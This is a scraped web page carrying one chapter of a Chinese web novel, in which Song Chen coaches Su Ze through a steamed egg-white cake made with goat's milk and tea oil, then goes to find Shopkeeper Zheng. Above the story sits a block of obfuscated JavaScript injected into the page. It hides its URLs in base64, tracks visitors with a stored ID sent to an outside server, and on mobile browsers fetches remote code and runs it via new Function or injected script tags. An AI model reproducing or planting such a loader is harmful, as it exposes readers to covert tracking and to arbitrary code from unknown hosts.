足迹
孟拂苏承小说
登录
关灯
护眼
字体:

095 郑掌柜归(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

宋晨走到案板前看苏则准备的材料,顿时一个头两个大,“方子给我看看。”

苏则从身上拿出方子递给宋晨,宋晨接过去发现自己方子里明明写得很清楚了得。

“你看这里。”宋晨指着最下面一行小字,“这里写的是蛋清里面不能有一点蛋黄。”

而他桌上放的两个碗里,一个装着蛋黄,一个装着蛋清加蛋黄。

“蛋清里有蛋黄会影响打发。”

苏则根本没注意到那行小字,“你这……就不能写大点?”

宋晨白了他一眼,这种备注写那么大,整个篇幅的美感不就被破坏了!

“你用的是什么油?”宋晨又问。

苏则指了指一旁的罐子,“找不到你说的玉米油,只有茶油。”

宋晨心里一松,还好不是用的猪油,“那牛奶呢?你找到了?”

“怎么可能!”苏则非常哀怨地看了她一眼,这次给的都是什么方子,里面的配料真是让他找得十分的窝火,“我用的是羊奶。”

宋晨有些哭笑不得,这羊奶虽然能用,可东西做出来的那股味道,受得了吗?

“你用羊奶的话,打发蛋白的时候往里面加几滴白醋。”

原本是用柠檬最好,到时候吃起来还有一股柠檬的香味,没有柠檬就只能退而求其次地用白醋代替了。

条件不允许,能做到去腥就行。

但是苏则却不明白,“为什么要加白醋,那到时候做出的点心不是酸的吗?谁会去吃。”

“白醋只是为了去腥去味,又不是让你倒一碗进去,几滴即可。”

宋晨又看了一遍其他的配料,没有什么问题了。

“这个点心很简单的,关键就在于蛋清的打发,但是你要记住也不能打发太过了,倒扣下来不掉就行,上锅蒸好之后不要立即打开锅盖,等它自己消温。”

没有烤箱,宋晨给的是一个类似电饭煲蛋糕的方子。

不过她稍微改良了一下,提前让苏则准备了些杯子大小的容器,一起上锅蒸,这样颜值与美味并存。

接下来宋晨就看着苏则重新再做一次,并且在一边指导着,苏则是真的有这方面的天赋,这一次做成功了。

差不多蒸了半个时辰,又冷了一刻钟。

宋晨说可以打开盖子的时候,苏则都没有叫下面的人,亲自上前将蒸笼盖打开了。

盖子一开,一股香味扑鼻而来。

苏则也不顾热气,狠狠地吸了几口,这味道是他从来没有闻到过的,简直太过美妙。

小心地用布包着器皿,苏则拿了两个出来,放在宋晨的面前。

宋晨弄了一小块放进嘴里。

色泽纯正,松软香甜。

不过细细地品还是能够感觉到腥味,羊奶没有牛奶那么香。

茶油的味道也很浓郁。

不过相对宋晨品出来的这些不足,苏则却是欣喜若狂。

“我从未吃到过如此美味的点心,竟然从来不知道还能这样去做,小晨,你简直是天才。”

小晨……

宋晨双目微眯,“苏公子,我们没这么熟。”

苏则一顿,随即嘿嘿笑了笑,其实他心中早就把宋晨当成最熟悉的人了。

不过刚刚他好像是急切了些。

“对不起,我太高兴了,宋姑娘,我相信这道点心一推出去,必定又会引来一番抢购热潮。”

这一点是必然的。

宋晨十分肯定,不然她也不会把这些方子拿出来了。

“那就要看苏公子怎么运作了,接下来应该没有我什么事了,不过我觉得还是用牛奶更好,大戎没有,我们可以去别的地方找。”

“我之前听说过,北方部族是有养你说的这种奶牛的,我派人去寻。”

“好,我也会去打听。”

之前她听郑掌柜说起过,她相信郑掌柜应该知道。

“那接下来的事就交给苏公子了,我就先走了。”郑掌柜都出去这么久了,宋晨要再去看看他回来没有。

苏则这会儿心里想的都是新做出来的点心,也没有留她,把人送到门口之后又一头扎进了厨房。

宋晨则是去了偏僻街巷找郑掌柜。

在这之前她来过好几次,不过每次杂货铺的门都是关着的,今天过来宋晨也是没抱什么希望的。